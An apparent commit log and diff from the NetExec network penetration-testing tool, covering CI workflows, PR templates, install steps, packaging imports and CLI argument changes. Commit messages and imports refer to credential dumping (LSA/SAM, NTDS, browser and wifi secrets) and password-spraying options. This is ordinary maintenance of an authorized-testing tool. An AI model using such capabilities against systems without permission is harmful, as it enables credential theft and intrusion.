2024-02-26 10:23:40 -05:00
Marshall Hallenbeck 56338d28f8 Merge branch 'main' into main 2024-02-26 10:22:34 -05:00
XiaoliChan 666a81713a Merge branch 'main' into mssql-improv 2024-02-26 16:29:27 +08:00
Marshall Hallenbeck 49ca92d1f1 Merge pull request #176 from Pennyw0rth/neff-error-handling
Add error handling for protocol level
2024-02-22 16:56:40 -05:00
Marshall Hallenbeck 3c39b94ee8 Merge branch 'main' into neff-error-handling 2024-02-21 13:45:20 -05:00
Marshall Hallenbeck a69f3e737a Merge pull request #185 from Pennyw0rth/neff-fix-rrp
Remove unnecessary remote ops check
2024-02-21 13:43:54 -05:00
Marshall Hallenbeck b19b8884ad Merge branch 'main' into neff-fix-rrp 2024-02-21 13:23:31 -05:00
Alexander Neff 16c0237245 Impacket already checks if remote_ops is running, we don't need it in here
Besides that, it intruduces a bug where nxc think rrp is enabled, but we closed it before without setting the self.remote_ops variable to None. This leads to sometimes crashing in lsa/sam dump if the service wasnt started originally.
2024-02-21 19:11:09 +01:00
Alex 72ef88a8f1 Merge branch 'main' into neff-error-handling 2024-02-21 17:27:02 +01:00
Alex 5b32cd8cf5 Merge pull request #183 from Pennyw0rth/neff-fix-share-privs
Write without delete will now be displayed as write access
2024-02-18 12:23:08 +01:00
Alex c16aa4cd9f Add share name in debug info for write check 2024-02-18 11:48:28 +01:00
Alexander Neff 7d99d519e5 Write without delete will now be displayed as write access 2024-02-18 01:04:37 +01:00
Alex fe179b006a Merge pull request #179 from Pennyw0rth/neff-audit-mode
Allow a single word as audit mode "character"
2024-02-14 15:19:03 +01:00
Alexander Neff 3d9cbca7a8 Allow a whole word as audit mode character 2024-02-14 15:06:41 +01:00
Alex ae121c566a Merge pull request #123 from Pennyw0rth/nxcdb-marshall
nxcdb: refactor shared database/workspace setup code & allow for creation/setting of workspaces outside of nxcdb interactive console
2024-02-12 19:25:56 +01:00
Alex f76fb16311 Merge branch 'main' into nxcdb-marshall 2024-02-12 18:54:53 +01:00
Alexander Neff 0442376287 Add error handling for protocol level 2024-02-09 14:29:39 +01:00
Deft_ d6dae9c605 Update ntlmv1.py
Update the module as it was not working anymore and the values were not accurate 

Signed-off-by: Deft_ <[email protected]>
2024-02-08 11:54:08 +01:00
XiaoliChan 1e2e4adda4 Merge remote-tracking branch 'upstream/main' into mssql-improv 2024-02-07 23:34:57 +08:00
Alex a39f71ebbc Remove pyreadline as it causes errors in nxcdb 2024-02-06 11:28:32 +01:00
Marshall Hallenbeck 1645f672d3 Merge pull request #169 from fpreynaud/check_renames
[WCC] Make check names more explicit
2024-02-02 14:46:52 -05:00
François REYNAUD 1c822aae38 [WCC] Make check names more explicit 2024-02-02 16:48:33 +01:00
Marshall Hallenbeck 3c11b71ca6 Merge pull request #167 from Pennyw0rth/neff-deps
Hotfix: Allow broader version for argcomplete to fix macos installations
2024-02-02 10:45:17 -05:00
Alexander Neff 9696fe4c9a Allow broader version for argcomplete to fix macos installations 2024-01-29 14:53:46 +01:00
Marshall Hallenbeck c2e9fcc545 Merge branch 'main' into nxcdb-marshall 2024-01-22 16:52:28 -05:00
Marshall Hallenbeck 275bc41477 fix(database): only attempt to initialize default workspace if it doesnt exist 2024-01-22 16:52:18 -05:00
Marshall Hallenbeck 06ccf5eeec Merge pull request #153 from Pennyw0rth/neff-space-in-username
Fix usernames with empty spaces in ntds dump
2024-01-22 16:15:24 -05:00
Marshall Hallenbeck a94a1b27ea Merge branch 'main' into neff-space-in-username 2024-01-22 15:50:24 -05:00
Marshall Hallenbeck f058c2ddf7 Merge pull request #139 from Pennyw0rth/neff-asyncio
Surpress any errors when using rdp and broken python version
2024-01-22 15:50:00 -05:00
Marshall Hallenbeck d4f4c7c4a2 Merge branch 'main' into neff-asyncio 2024-01-22 15:30:03 -05:00
Marshall Hallenbeck f46c5eae17 Merge pull request #135 from Pennyw0rth/neff-win-firefox
Fix issue #134 with tempfile on windows
2024-01-22 15:27:29 -05:00
Marshall Hallenbeck d84eb7ed96 Merge branch 'main' into neff-win-firefox 2024-01-22 14:42:42 -05:00
Marshall Hallenbeck 6abdf079e6 Merge branch 'main' into nxcdb-marshall 2024-01-18 20:36:22 -05:00
Alex 9df72e2f68 Merge pull request #162 from thiagokokada/fix-some-issues-in-deps
Fix some issues in deps
2024-01-15 23:06:03 +01:00
Thiago Kenji Okada 1f8a948966 Set pyreadline for Win32 only 2024-01-14 17:57:18 +00:00
Thiago Kenji Okada 50962312a2 Move ruff to dev dependency 2024-01-14 17:54:07 +00:00
Thiago Kenji Okada b3a5c300b5 Remove resource
Introduced in 483dc69a2a, it points to
https://github.com/RussellLuo/resource, an unmaintained library.
However, it is clear in the code that this should have been resource
from stdlib instead (https://docs.python.org/3/library/resource.html),
and needs not to be included in `pyproject.toml`.
2024-01-14 17:51:30 +00:00
Alex 5f29e661b7 Merge pull request #155 from Pennyw0rth/neff-fix-modules-windows 2023-12-24 22:56:57 +01:00
Alexander Neff 5809a1470a Fixing module name check with windows backspace path 2023-12-24 22:16:27 +01:00
Alex dcbb01a39e Merge pull request #148 from Adamkadaban/argcomplete-completion
add argcomplete bash/zsh completion
2023-12-24 14:20:28 +01:00
Alexander Neff db2936db98 Update python version in readme 2023-12-24 14:16:11 +01:00
Alexander Neff a70f3e6ae3 Merge main into argcomplete 2023-12-24 13:41:05 +01:00
Alex 6115185d75 Merge pull request #132 from Pennyw0rth/neff-encode-errors 2023-12-23 17:23:04 +01:00
Alex 82e8c17e5d Merge pull request #130 from Pennyw0rth/binaries-neff 2023-12-23 17:22:53 +01:00
Alexander Neff 02bdbef712 Fix host domain display output when specifying domain in smb 2023-12-23 16:46:34 +01:00
Alexander Neff 303a051003 Fix host domain display output when specifying domain in ldap 2023-12-23 16:18:20 +01:00
Alex 5e964bb0eb Merge pull request #150 from Pennyw0rth/neff-enum_trusts
Remove domain DN from ldap query, fixes #144
2023-12-23 15:48:53 +01:00
Alex 2732987a6a Merge pull request #141 from Pennyw0rth/neff-laps 2023-12-22 18:20:51 +01:00
Alexander Neff 694f6a0984 Fix usernames with empty spaces in ntds dump 2023-12-22 17:42:58 +01:00
Alexander Neff 3dcd24869d Allow ldap connection with no smb and without domain 2023-12-22 17:10:07 +01:00
Alexander Neff 14391af612 Remove domain DN from ldap query, fixes #144 2023-12-18 01:48:50 +01:00
Alexander Neff 85b53868f2 Improve import 2023-12-17 19:40:53 +01:00
Alex 235d9e049f Merge branch 'main' into neff-encode-errors 2023-12-17 19:36:04 +01:00
Alexander Neff 5900029c4f Resetting lock file 2023-12-17 19:34:55 +01:00
Alex 7fb2a0f94c Merge branch 'main' into argcomplete-completion 2023-12-17 18:47:25 +01:00
Alex 8899c003c8 Merge pull request #133 from Syzik/ModulesEnumeration
Modules enumeration ldap
2023-12-17 13:15:43 +01:00
Alexander Neff b9a3f8f22f Resetting lock file 2023-12-16 18:59:53 +01:00
Alex c1d253800b Merge branch 'main' into ModulesEnumeration 2023-12-16 18:42:25 +01:00
Alexander Neff 67cb940775 Rename module filenames to match module name 2023-12-16 15:48:17 +01:00
Alexander Neff f82bd95442 Add argcomplete support for modules 2023-12-16 15:40:56 +01:00
Alexander Neff b18a5a770c Fix argcomplete version and drop python 3.7 support 2023-12-16 15:39:50 +01:00
Adamkadaban edfa64b5e9 add argcomplete bash/zsh completion 2023-12-16 05:47:03 -05:00
Alex ef4f2df92c Merge pull request #146 from 0xlazY/iis_quote_fix
Fix: iis module cmd exec quotes
2023-12-15 23:54:46 +01:00
Marshall Hallenbeck e90502d9da Merge branch 'main' into nxcdb-marshall 2023-12-14 15:22:05 -05:00
0xlazy a347fcc208 Fix: iis module cmd exec quotes 2023-12-13 15:01:47 +01:00
XiaoliChan ae5d57a75d [mssql] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-12-13 00:45:02 +08:00
XiaoliChan d6eb6c205a [mssql] add is_mssql check
Signed-off-by: XiaoliChan <[email protected]>
2023-12-13 00:40:12 +08:00
XiaoliChan b4ae46f65d [mssql] bug fix
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 17:32:24 +08:00
XiaoliChan 2c174369ba [mssql] less code
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 93f3bccd7b [mssql] fix ccache
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 8a5d77b1d7 [mssql] fix kerb_pass
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 86ebce4722 [mssql] self review
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 4a18e2f452 [mssql] Bringing up timeout argument
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 9a6a37152f [mssql] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan f7078bb76b [mssql] more linebreak
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan dd78e22938 [mssql] move outputBuffer
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan cbdf87a4d8 [mssql] bye bye '--no-smb'
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan cf91a11453 [mssql] self review
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan aade033254 [mssql] fix wrong things and add brackets
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 750d35e747 [mssql] revert pyproject.toml
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 6f1bcaaf46 [mssql] Enhance the error message
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 9e01b97694 [mssql] bye bye SMB :)
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
Alex 6c9afa37b7 Merge branch 'main' into binaries-neff 2023-12-11 08:24:13 +01:00
Alexander Neff cc1d90ca2a Merge main into neff-laps 2023-12-10 16:12:58 +01:00
Alex 4846464cd0 Merge pull request #114 from XiaoliChan/winrm-better-output
[winrm] better output
2023-12-10 16:03:08 +01:00
Alexander Neff afd568cf94 Fix correct protocol and port display output 2023-12-10 15:59:34 +01:00
Alex d4b3ace3a6 Merge branch 'main' into winrm-better-output 2023-12-09 20:34:05 +01:00
Alexander Neff f8982a8d65 Move detailed information to info logging output 2023-12-09 18:53:46 +01:00
Syzik 847f8c43a4 Merge branch 'main' into ModulesEnumeration 2023-12-09 03:40:57 +01:00
Alexander Neff 940f81dec4 Remove old laps checks 2023-12-09 01:19:55 +01:00
Alexander Neff 2793895b6e Fix hash and domain handling laps 2023-12-09 01:10:03 +01:00
Alexander Neff 14aedea969 Fix laps return values 2023-12-09 00:58:19 +01:00
Alexander Neff a7d780ebe4 Remove unused imports 2023-12-09 00:52:54 +01:00
Alexander Neff 89d4567a81 Enable logging from outside of modules 2023-12-09 00:52:27 +01:00
Alexander Neff 92273306ac Move laps login logic to connection.py 2023-12-09 00:52:00 +01:00
Marshall Hallenbeck 046b1f9113 Merge pull request #140 from Pennyw0rth/neff-wcc
Fix array index
2023-12-08 09:22:05 -05:00
Alexander Neff a8a810d32b Fix array index 2023-12-08 12:51:01 +01:00
syzik b2b56cd562 Module Description Fix (NeffIsBack) 2023-12-08 05:15:58 +01:00
Alex 76836dcc9c Merge pull request #137 from fpreynaud/bugfix
Fix bug in WCC module
2023-12-08 01:08:12 +01:00
Alexander Neff 5c87c27f7e Fix ruff 2023-12-08 00:55:40 +01:00
Alexander Neff bc0ebf7169 Only surpress errors when using rdp not always 2023-12-07 22:09:03 +01:00
Alexander Neff 5daa3ecc7f Surpress any errors when using rdp and broken python version 2023-12-07 22:01:56 +01:00
François REYNAUD 313d795871 Fix bug introduced by commit bfd32f1910 2023-12-07 18:05:55 +01:00
Alexander Neff 796e49e86b Add exception handling 2023-12-04 16:15:27 +01:00
Alexander Neff da603def02 Fix issue #134 which occurs on windows 2023-12-04 16:07:56 +01:00
Alex 3a2b3938c6 Properly fix rdp and winrm 2023-12-01 16:08:46 +01:00
syzik 476e35c47c ldap modules 2023-11-30 22:42:17 +01:00
syzik fee9d24e64 ldap modules 2023-11-30 22:35:23 +01:00
Alex 549f428faf Fix dependencies for binary building 2023-11-30 19:20:41 +01:00
Alexander Neff 03b88843fa Updating dependencies for latest impacket changes and removing deprecated encodeerror check 2023-11-30 17:08:49 +01:00
Alexander Neff 4c7a9337b9 Fix missing aardwolf import in binary 2023-11-30 14:29:51 +01:00
Alexander Neff e3b0e4556e Rename pipelines 2023-11-30 07:34:54 -05:00
Alexander Neff be5ce876e3 Add pyvenv config to gitignore 2023-11-30 07:34:10 -05:00
XiaoliChan 88e229a325 Merge remote-tracking branch 'upstream/main' into winrm-better-output 2023-11-29 15:12:04 +08:00
XiaoliChan bbbb61a5e1 Merge remote-tracking branch 'upstream/main' into winrm-better-output 2023-11-28 14:25:54 +08:00
Marshall Hallenbeck 7fa783a09d Merge branch 'main' into nxcdb-marshall 2023-11-25 22:46:08 -05:00
Alexander Neff b59246da68 Replace old WS_PATH variable 2023-11-24 19:59:58 -05:00
Alexander Neff e48a02d7d8 Switch command line short form to match syntax 2023-11-24 19:58:49 -05:00
Alexander Neff 7c3e9a22da Cli command now lists all workspaces and changed workspaces output to match git style 2023-11-24 19:55:16 -05:00
Alexander Neff f08b58de8a Add cli option to get current workspace 2023-11-24 19:42:24 -05:00
Marshall Hallenbeck e02fabc6b4 ruff: remove unused import 2023-11-17 22:56:32 -05:00
Marshall Hallenbeck d0c996fc05 feat(nxcdb): add functionality to create and set workspaces without entering interactive console 2023-11-17 22:51:43 -05:00
Marshall Hallenbeck 861626d061 refactor: deduplicate code and simplify initial db setup 2023-11-17 21:24:03 -05:00
Marshall Hallenbeck b4f3bacb99 refactor(nxcdb): move shared fdatabase functions to single file 2023-11-17 16:55:57 -05:00
XiaoliChan 3eb421ef2a Merge branch 'main' into winrm-better-output 2023-11-16 16:29:30 +08:00
Marshall Hallenbeck fd5d37eb13 Merge branch 'main' into winrm-better-output 2023-11-13 10:17:52 -05:00
Alexander Neff 57e31aef07 Extract laps_search from smb and winrm to /protocols/ldap/laps 2023-11-11 17:31:37 -05:00
XiaoliChan 76f23d422d [winrm] better output
Signed-off-by: XiaoliChan <[email protected]>
2023-11-11 21:20:00 +08:00
sandw1ch c6e5fdb205 use fstring, delete testing comment
Signed-off-by: sandw1ch <[email protected]>
2023-10-24 13:00:22 -05:00
mpgn 5e282156bb Fix ldap query over 1000 results 2023-10-19 15:30:00 -04:00
sandw1ch 0b7756f3f6 Merge branch 'develop' into main
Signed-off-by: sandw1ch <[email protected]>
2023-10-12 16:11:23 -05:00
sandw1ch 50f2e5d1c1 sed "s/'/\"/g"
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 17:23:12 -05:00
sandw1ch 47a158fdc2 Update e2e_commands.txt
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 16:09:38 -05:00
sandw1ch 2e0a73c225 Update and rename get_fgpp.py to pso.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 16:07:27 -05:00
sandw1ch bab6377101 Delete nxc/modules/pso.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 16:06:54 -05:00
sandw1ch 9a4594ea40 Update get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 15:58:00 -05:00
sandw1ch 6f8143136c Update get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 15:40:13 -05:00
sandw1ch 2915a54811 Update get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 14:26:36 -05:00
sandw1ch 0d5030be81 Update poetry.lock
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:37:51 -05:00
sandw1ch cdced86af4 Update e2e_commands.txt to include get_fgpp
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:36:39 -05:00
sandw1ch cbefc31a04 Update pyproject.toml to include dateutil
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:30:43 -05:00
sandw1ch e898c25716 Create get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:18:12 -05:00
129 changed files with 5428 additions and 3581 deletions

No files matched your search

+18
View File
@@ -0,0 +1,18 @@
---
name: Feature request
about: Request a new feature or enhancement
title: ''
labels: ''
assignees: ''
---
**Please Describe The Problem To Be Solved**
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
**(Optional): Suggest A Solution**
(Replace This Text: A concise description of your preferred solution. Things to address include:
* Details of the technical implementation
* Tradeoffs made in design decisions
* Caveats and considerations for the future
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
@@ -0,0 +1,44 @@
---
name: Pull request
about: Update code to fix a bug or add an enhancement/feature
title: ''
labels: ''
assignees: ''
---
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
Please also include relevant motivation and context.
List any dependencies that are required for this change.
## Type of change
Please delete options that are not relevant.
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
## How Has This Been Tested?
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
If you are using poetry, you can easily run tests via:
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
- [ ] New and existing e2e tests pass locally with my changes
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
File renamed without changes.
File renamed without changes.
+2 -2
View File
@@ -1,11 +1,11 @@
name: Lint Python code with ruff
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
on: [push, pull_request]
on:
push:
jobs:
lint:
name: Lint Python code with ruff
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
+37 -18
View File
@@ -1,32 +1,51 @@
name: NetExec Tests
on:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
build:
name: NetExec Tests for Py${{ matrix.python-version }}
name: Test for Py${{ matrix.python-version }}
if: github.event.review.state == 'APPROVED'
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v3
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Run the e2e test
run: |
poetry run pytest tests
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Load every protocol and module
run: |
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -M veeam
+2
View File
@@ -1,8 +1,10 @@
data/nxc.db
hash_spider_default.sqlite3
hash_spider_testing.sqlite3
*.bak
*.log
.venv
pyvenv.cfg
.vscode
.idea
# Byte-compiled / optimized / DLL files
+8 -2
View File
@@ -1,4 +1,4 @@
![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg)
![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg)
[![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
[![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
[![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
@@ -21,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues)
- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues)
- 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
- 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
@@ -37,6 +37,12 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
# Installation
Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
## Linux
```
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```
# Development
Development guidelines and recommendations in development
+12
View File
@@ -13,6 +13,12 @@ a = Analysis(
('./nxc/modules', 'nxc/modules')
],
hiddenimports=[
'aardwolf',
'aardwolf.connection',
'aardwolf.commons.queuedata.constants',
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'impacket.examples.secretsdump',
'impacket.dcerpc.v5.lsat',
'impacket.dcerpc.v5.transport',
@@ -32,9 +38,11 @@ a = Analysis(
'nxc.protocols.smb.smbspider',
'nxc.protocols.smb.passpol',
'nxc.protocols.mssql.mssqlexec',
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
'pypsrp.client',
'pywerview.cli.helpers',
@@ -59,12 +67,16 @@ a = Analysis(
'dploot.triage.browser',
'dploot.triage.credentials',
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
runtime_hooks=[],
+97 -44
View File
@@ -1,21 +1,56 @@
import argparse
import argcomplete
import sys
from argparse import RawTextHelpFormatter
from os import listdir
from os.path import dirname
from os.path import join as path_join
import nxc
from nxc.paths import NXC_PATH
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.helpers.logger import highlight
from nxc.logger import nxc_logger
from nxc.helpers.args import DisplayDefaultsNotNone
from nxc.logger import nxc_logger, setup_debug_logging
import importlib.metadata
def gen_cli_args():
VERSION = importlib.metadata.version("netexec")
CODENAME = "nxc4u"
parser = argparse.ArgumentParser(description=f"""
setup_debug_logging()
try:
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
CODENAME = "ItsAlwaysDNS"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
parser = argparse.ArgumentParser(
description=rf"""
. .
.| |. _ _ _ _____
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
\\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
ॱ \ / ॱ
@@ -28,48 +63,48 @@ def gen_cli_args():
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
""", formatter_class=RawTextHelpFormatter)
{highlight('Commit', 'red')} : {highlight(COMMIT)}
""",
formatter_class=RawTextHelpFormatter,
parents=[generic_parser, output_parser, dns_parser]
)
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display nxc version")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
std_parser = argparse.ArgumentParser(add_help=False)
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
